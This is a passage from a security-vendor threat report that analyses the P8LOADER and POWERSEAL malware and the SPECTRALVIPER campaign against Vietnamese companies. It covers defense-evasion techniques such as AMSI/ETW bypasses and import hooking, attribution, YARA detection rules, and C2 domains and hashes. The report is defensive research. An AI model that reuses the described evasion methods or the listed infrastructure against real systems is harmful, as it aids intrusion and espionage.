<p>Finally, the loaded PE’s STDOUT handle is replaced with a pipe and a reading pipe thread is created as a way to redirect the output of the binary to the loader logging system.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image29.jpg" alt="P8LOADER redirecting to the loader logging system" /></p>
<p>On top of redirecting the loaded PE output, the loader uses an API interception mechanism to hook certain APIs of the loaded process, log any calls to it, and send the data through a named pipe (with a randomly generated UUID string as the name).</p>
<p>The hooking of the PE's import table is done at import resolution time by replacing the originally imported function addresses with their own stub.</p>
<h3>Defense evasion</h3>
<h4>String obfuscation</h4>
<p>P8LOADER uses a C++ template-based obfuscation technique to obscure errors and debug strings with a set of different algorithms chosen randomly at compile time.</p>
<p>These strings are obfuscated to hinder analysis as they provide valuable information about the loader functions and capabilities.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image7.png" alt="String decryption algorithm example 1/3" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image23.png" alt="String decryption algorithm example 2/3" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image25.jpg" alt="String decryption algorithm example 3/3" /></p>
<h3>Summary</h3>
<p>P8LOADER is a newly discovered x64 Windows loader that is used to execute a PE from a file or from memory. This malware is able to redirect the loaded PE output to its logging system and hook the PE imports to log import calls.</p>
<h2>POWERSEAL code analysis</h2>
<h3>Overview</h3>
<p>During this intrusion, we observed a lightweight .NET PowerShell runner that we call POWERSEAL based on embedded strings. After SPECTRALVIPER was successfully deployed, the POWERSEAL utility would be used to launch supplied PowerShell scripts or commands. The malware leverages syscalls ( <strong>NtWriteVirtualMemory</strong> ) for evading defensive solutions (AMSI/ETW).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image11.jpg" alt="POWERSEAL Classes/Functions" /></p>
<h3>Defense evasion</h3>
<p>Event Tracing for Windows (ETW) provides a mechanism to trace and log events that are raised by user-mode applications and kernel-mode drivers. The Anti Malware Scan Interface (AMSI) provides enhanced malware protection for data, applications, and workloads. POWERSEAL adopts well-known and publicly-available bypasses in order to patch these technologies in memory. This increases their chances of success while decreasing their detectable footprint.</p>
<p>For example, POWERSEAL employs <a href="https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/">common approaches to unhooking and bypassing AMSI</a> in order to bypass Microsoft Defender’s signature</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image8.jpg" alt="POWERSEAL bypassing AMSI" /></p>
<h3>Launch PowerShell</h3>
<p>POWERSEAL’s primary function is to execute PowerShell. In the following depiction of POWERSEAL’s source code, we can see that POWERSEAL uses PowerShell to execute a script and arguments ( <strong>command</strong> ). The script and arguments are provided by the threat actor and were not observed in the environment.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image32.jpg" alt="POWERSEAL executing shellcode with PowerShell" /></p>
<h3>Summary</h3>
<p>POWERSEAL is a new and purpose-built PowerShell runner that borrows freely from a variety of open source offensive security tools, delivering offensive capabilities in a streamlined package with built-in defense evasion.</p>
<h2>Campaign and adversary modeling</h2>
<h3>Overview</h3>
<p>REF2754 is an ongoing campaign against large nationally important public companies within Vietnam. The malware execution chain in this campaign is initiated with DONUTLOADER, but goes on to utilize previously unreported tooling.</p>
<ol>
<li>SPECTRALVIPER, an obfuscated x64 backdoor that brings PE loading and injection, file upload and download, file and directory manipulation, token impersonation, and named pipe and HTTP command and control</li>
<li>P8LOADER, an obfuscated Windows PE loader allowing the attacker to minimize and obfuscate some logging on the victim endpoints, and</li>
<li>POWERSEAL, a PowerShell runner with ETW and AMSI bypasses built in for enhanced defensive evasion when using PowerShell tools</li>
</ol>
<p>Elastic Security Labs concludes with moderate confidence that this campaign is executed by a Vietnamese state-affiliated threat.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image4.png" alt="REF2754 and REF4322 campaign intersections" /></p>
<h3>Victimology</h3>
<p>Using our SPECTRALVIPER YARA signature, we identified two endpoints in a second environment infected with SPECTRALVIPER implants. That environment was discussed in Elastic Security Labs research in 2022 which describes <a href="https://www.elastic.co/pt/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector">REF4322</a>.</p>
<p>The REF4322 victim is a Vietnam-based financial services company. Elastic Security Labs first talked about this victim and activity group in 2022.</p>
<p>The REF2754 victim has been identified as a large Vietnam-based agribusiness.</p>
<p>Further third party intelligence from VirusTotal, based on retro-hunting the YARA rules available at the end of this research, indicate additional Vietnam-based victims. There were eight total Retrohunt hits:</p>
<ul>
<li>All were manually confirmed to be SPECTRALVIPER</li>
<li>All samples were between 1.59MB and 1.77MB in size</li>
<li>All VirusTotal samples were initially submitted from Vietnam</li>
</ul>
<p>Some samples were previously identified in our first party collection, and some were new to us.</p>
<blockquote>
<p>Be mindful of the analytic limitations of relying on “VT submitter” too heavily. This third party reporting mechanism may be subject to circular reporting concerns or VPN usage that modifies the GEOs used, and inadvertent reinforcement of a hypothesis. In this case, it was used in an attempt to try to find samples with apparent non-VN origins, without success.</p>
</blockquote>
<p>At the time of publication, all known victims are large public companies physically within Vietnam, and conducting business primarily within Vietnam.</p>
<h3>Campaign analysis</h3>
<p>The overlap with the REF4322 environment occurred fairly recently, on April 20, 2023. One of these endpoints was previously infected with the PHOREAL implant, while the other endpoint was compromised with PIPEDANCE.</p>
<p>These SPECTRALVIPER infections were configured under pipe mode as opposed to hardcoded domains set to wait for incoming connection over a named pipe ( <strong>\.\pipe\ydZb0bIrT</strong> ).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image18.jpg" alt="SPECTRALVIPER coresident on a PIPEDANCE-infected host" /></p>
<p>This activity appears to be a handoff of access or swapping out of one tool for another.</p>
<blockquote>
<p>If you’re interested in a detailed breakdown of the PIPEDANCE malware, check out our <a href="https://www.elastic.co/pt/security-labs/twice-around-the-dance-floor-with-pipedance">previous research</a> and stay tuned, more to come.</p>
</blockquote>
<p>Post-exploitation collection of intended effects has been limited, however, while speculative in nature, a motivation assessment based on malware, implant, and technical capabilities points to achieving initial access, maintaining persistence, and operating as a backdoor for intelligence gathering purposes.</p>
<p>Domains from REF4322, REF2754, and from samples collected from VirusTotal used for C2 have all been registered in the last year with the most recent being in late April 2023.</p>
<table>
<thead>
<tr>
<th>Domain:</th>
<th>Created:</th>
</tr>
</thead>
<tbody>
<tr>
<td>stablewindowsapp[.]com</td>
<td>2022-02-10</td>
</tr>
<tr>
<td>webmanufacturers[.]com</td>
<td>2022-06-10</td>
</tr>
<tr>
<td>toppaperservices[.]com</td>
<td>2022-12-15</td>
</tr>
<tr>
<td>hosting-wordpress-services[.]com</td>
<td>2023-03-15</td>
</tr>
<tr>
<td>appointmentmedia[.]com</td>
<td>2023-04-26</td>
</tr>
</tbody>
</table>
<p>GEOs for associated IPs for these domains are globally distributed, and they use Sectigo, Rapid SSL, and Let’s Encrypt certs. Further infrastructure analysis did not uncover anything of note beyond their registration date, which does give us a campaign timebox. Based on the recent registration of <strong>appointmentmedia[.]com</strong>, this campaign could still be ongoing with new domains being registered for future intrusions.</p>
<h3>Campaign associations</h3>
<p>Elastic Security Labs concludes with moderate confidence that both REF4322 and REF2754 activity groups represent campaigns planned and executed by a Vietnamese state-affiliated threat. Based on our analysis, this activity group overlaps with prior reporting of Canvas Cyclone, APT32, and OCEANLOTUS threat groups.</p>
<p>As stated above and in previous reporting, the REF4322 victim is a financial institution that manages capital for business acquisitions and former State-Owned-Enterprises.</p>
<p>The REF2754 victim is a large agribusiness that is systemically important in the food production and distribution supply chains of Vietnam. Ongoing urbanization, pollution, the COVID-19 pandemic, and climate change have been challenges for Vietnam’s food security. As a data point, in March of 2023, Vietnam’s Prime Minister <a href="https://apps.fas.usda.gov/newgainapi/api/Report/DownloadReportByFileName?fileName=Vietnam%20Issues%20National%20Action%20Plan%20on%20Food%20Systems%20Transformation%20toward%20Transparency%20Responsibility%20and%20Sustainability%20by%202030_Hanoi_Vietnam_VM2023-0017.pdf">approved</a> the National Action Plan on Food Systems Transformation toward Transparency, Responsibility, and Sustainability in Vietnam by 2030. Its overall objective is to transform the food systems including production, processing, distribution, and consumption towards transparency, responsibility, and sustainability based on local advantages; to ensure national food and nutrition security; to improve people's income and living standards; to prevent and control natural disasters and epidemics; to protect the environment and respond to climate change; and finally to contribute to the rolling-out of the Vietnam and Global Sustainable Development Goals by 2030. All of this highlights that food security has been a point of national policy emphasis, which also makes the victims of REF2754 an attractive target to threat actors because of their intersection with Vietnam’s strategic objectives.</p>
<p>In addition to the nationally-aligned strategic interests of the victims for REF4322 and REF2754, both victims were infected with the DONUTLOADER, P8LOADER, POWERSEAL, and SPECTRALVIPER malware families using similar deployment techniques, implant management, and naming conventions in both intrusions.</p>
<p>A threat group with access to the financial transaction records available in REF4322, combined with the national strategic food safety policy for REF2754 would provide insight into competency of management, corruption, foreign influence, or price manipulations otherwise unavailable through regulatory reporting.</p>
<h3>Diamond model</h3>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a (cluttered) single diamond.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/image12.png" alt="REF2754 Diamond Model" /></p>
<h2>Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0009">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and control</a></li>
</ul>
<h3>Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1592/">Gather host information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1590/">Gather victim network information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1135/">Network share discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1018/">Remote system discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1083/">File and directory discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1057/">Process discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1007/">System service discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1033/">System owner/user discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1071/001/">Application layer protocol: Web protocols</a></li>
<li><a href="https://attack.mitre.org/techniques/T1134/003/">Access Token Manipulation: Make and Impersonate Token</a></li>
</ul>
<h2>Detection logic</h2>
<h3>Preventions</h3>
<p>All of the malware discussed in this research publication have protections included in Elastic Defend.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_SpectralViper.yar">Windows.Trojan.SpectralViper</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PowerSeal.yar">Windows.Trojan.PowerSeal</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_P8Loader.yar">Windows.Trojan.P8Loader</a></li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify SPECTRALVIPER, POWERSEAL, and P8LOADER</p>
<pre><code>rule Windows_Trojan_SpectralViper_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-04-13&quot;
        last_modified = &quot;2023-05-26&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;SpectralViper&quot;
        threat_name = &quot;Windows.Trojan.SpectralViper&quot;
        reference_sample = &quot;7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb&quot;
       license = &quot;Elastic License v2&quot;

    strings:
        $a1 = { 13 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 26 83 FD 0A 0F 9C 44 24 27 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
        $a2 = { 15 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 2E 83 FD 0A 0F 9C 44 24 2F 4D 89 CE 4C 89 C7 48 89 D3 48 89 CE B8 }
        $a3 = { 00 8D 68 FF 0F AF E8 40 F6 C5 01 0F 94 44 24 2E 83 FA 0A 0F 9C 44 24 2F 4C 89 CE 4C 89 C7 48 89 CB B8 }
        $a4 = { 00 48 89 C6 0F 29 30 0F 29 70 10 0F 29 70 20 0F 29 70 30 0F 29 70 40 0F 29 70 50 48 C7 40 60 00 00 00 00 48 89 C1 E8 }
        $a5 = { 41 0F 45 C0 45 84 C9 41 0F 45 C0 EB BA 48 89 4C 24 08 89 D0 EB B1 48 8B 44 24 08 48 83 C4 10 C3 56 57 53 48 83 EC 30 8B 05 }
        $a6 = { 00 8D 70 FF 0F AF F0 40 F6 C6 01 0F 94 44 24 25 83 FF 0A 0F 9C 44 24 26 89 D3 48 89 CF 48 }
        $a7 = { 48 89 CE 48 89 11 4C 89 41 08 41 0F 10 01 41 0F 10 49 10 41 0F 10 51 20 0F 11 41 10 0F 11 49 20 0F 11 51 30 }
        $a8 = { 00 8D 58 FF 0F AF D8 F6 C3 01 0F 94 44 24 22 83 FD 0A 0F 9C 44 24 23 48 89 D6 48 89 CF 4C 8D }
    condition:
        5 of them
}
</code></pre>
<pre><code>rule Windows_Trojan_SpectralViper_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-10&quot;
        last_modified = &quot;2023-05-10&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;SpectralViper&quot;
        threat_name = &quot;Windows.Trojan.SpectralViper&quot;
        reference_sample = &quot;d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8&quot;
       license = &quot;Elastic License v2&quot;

    strings:
        $a1 = { 18 48 89 4F D8 0F 10 40 20 0F 11 47 E0 0F 10 40 30 0F 11 47 F0 48 8D }
        $a2 = { 24 27 48 83 C4 28 5B 5D 5F 5E C3 56 57 53 48 83 EC 20 48 89 CE 48 }
        $a3 = { C7 84 C9 0F 45 C7 EB 86 48 8B 44 24 28 48 83 C4 30 5B 5F 5E C3 48 83 }
        $s1 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 51 10 48 8B 49 08 FF D0 48 89 43 18 B8 04 00 00 }
        $s2 = { 40 53 48 83 EC 20 48 8B 01 48 8B D9 48 8B 49 08 FF D0 48 89 43 10 B8 04 00 00 00 48 83 C4 20 5B }
        $s3 = { 48 83 EC 28 4C 8B 41 18 4C 8B C9 48 B8 AB AA AA AA AA AA AA AA 48 F7 61 10 48 8B 49 08 48 C1 EA }
    condition:
        2 of ($a*) or any of ($s*)
}
</code></pre>
<pre><code>rule Windows_Trojan_PowerSeal_1 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-03-16&quot;
        last_modified = &quot;2023-05-26&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PowerSeal&quot;
        threat_name = &quot;Windows.Trojan.PowerSeal&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a1 = &quot;PowerSeal.dll&quot; wide fullword
        $a2 = &quot;InvokePs&quot; ascii fullword
        $a3 = &quot;amsiInitFailed&quot; wide fullword
        $a4 = &quot;is64BitOperatingSystem&quot; ascii fullword
    condition:
        all of them
}
</code></pre>
<pre><code>rule Windows_Trojan_PowerSeal_2 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-05-10&quot;
        last_modified = &quot;2023-05-10&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;PowerSeal&quot;
        threat_name = &quot;Windows.Trojan.PowerSeal&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a1 = &quot;[+] Loading PowerSeal&quot;
        $a2 = &quot;[!] Failed to exec PowerSeal&quot;
        $a3 = &quot;AppDomain: unable to get the name!&quot;
    condition:
        2 of them
}
</code></pre>
<pre><code>rule Windows_Trojan_P8Loader {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-04-13&quot;
        last_modified = &quot;2023-05-26&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Trojan&quot;
        family = &quot;P8Loader&quot;
        threat_name = &quot;Windows.Trojan.P8Loader&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $a1 = &quot;\t[+] Create pipe direct std success\n&quot; fullword
        $a2 = &quot;\tPEAddress: %p\n&quot; fullword
        $a3 = &quot;\tPESize: %ld\n&quot; fullword
        $a4 = &quot;DynamicLoad(%s, %s) %d\n&quot; fullword
        $a5 = &quot;LoadLibraryA(%s) FAILED in %s function, line %d&quot; fullword
        $a6 = &quot;\t[+] No PE loaded on memory\n&quot; wide fullword
        $a7 = &quot;\t[+] PE argument: %ws\n&quot; wide fullword
        $a8 = &quot;LoadLibraryA(%s) FAILED in %s function, line %d&quot; fullword
    condition:
        5 of them
}
</code></pre>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/pt/security-labs/hunting-memory">https://www.elastic.co/pt/security-labs/hunting-memory</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector">https://www.elastic.co/pt/security-labs/phoreal-malware-targets-the-southeast-asian-financial-sector</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/twice-around-the-dance-floor-with-pipedance">https://www.elastic.co/pt/security-labs/twice-around-the-dance-floor-with-pipedance</a></li>
<li><a href="https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/">https://www.microsoft.com/en-us/security/blog/2020/11/30/threat-actor-leverages-coin-miner-techniques-to-stay-under-the-radar-heres-how-to-spot-them/</a></li>
<li><a href="https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide">https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/spectralviper">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>56d2d05988b6c23232b013b38c49b7a9143c6649d81321e542d19ae46f4a4204</td>
<td>SHA-256</td>
<td>-</td>
<td>SPECTRALVIPER Related to 1.dll below</td>
</tr>
<tr>
<td>d1c32176b46ce171dbce46493eb3c5312db134b0a3cfa266071555c704e6cff8</td>
<td>SHA-256</td>
<td>1.dll</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>7e35ba39c2c77775b0394712f89679308d1a4577b6e5d0387835ac6c06e556cb</td>
<td>SHA-256</td>
<td>asdgb.exe</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>4e3a88cf00e0b4718e7317a37297a185ff35003192e5832f5cf3020c4fc45966</td>
<td>SHA-256</td>
<td>Settings.db</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>7b5e56443812eed76a94077763c46949d1e49cd7de79cde029f1984e0d970644</td>
<td>SHA-256</td>
<td>Microsoft.MicrosoftEdge_8wekyb3d8bbwe.pkg</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>5191fe222010ba7eb589e2ff8771c3a75ea7c7ffc00f0ba3f7d716f12010dd96</td>
<td>SHA-256</td>
<td>UpdateConfig.json</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>4775fc861bc2685ff5ca43535ec346495549a69891f2bf45b1fcd85a0c1f57f7</td>
<td>SHA-256</td>
<td>Microsoft.OneDriveUpdatePackage.mca</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>2482c7ececb23225e090af08feabc8dec8d23fe993306cb1a1f84142b051b621</td>
<td>SHA-256</td>
<td>ms-certificates.sst</td>
<td>SPECTRALVIPER</td>
</tr>
<tr>
<td>stablewindowsapp[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
<tr>
<td>webmanufacturers[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
<tr>
<td>toppaperservices[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
<tr>
<td>hosting-wordpress-services[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
<tr>
<td>appointmentmedia[.]com</td>
<td>Domain</td>
<td>n/a</td>
<td>C2</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/elastic-charms-spectralviper/photo-edited-10@2x.jpg" length="0" type="image/jpg"/>
        </item>
    </channel>
</rss>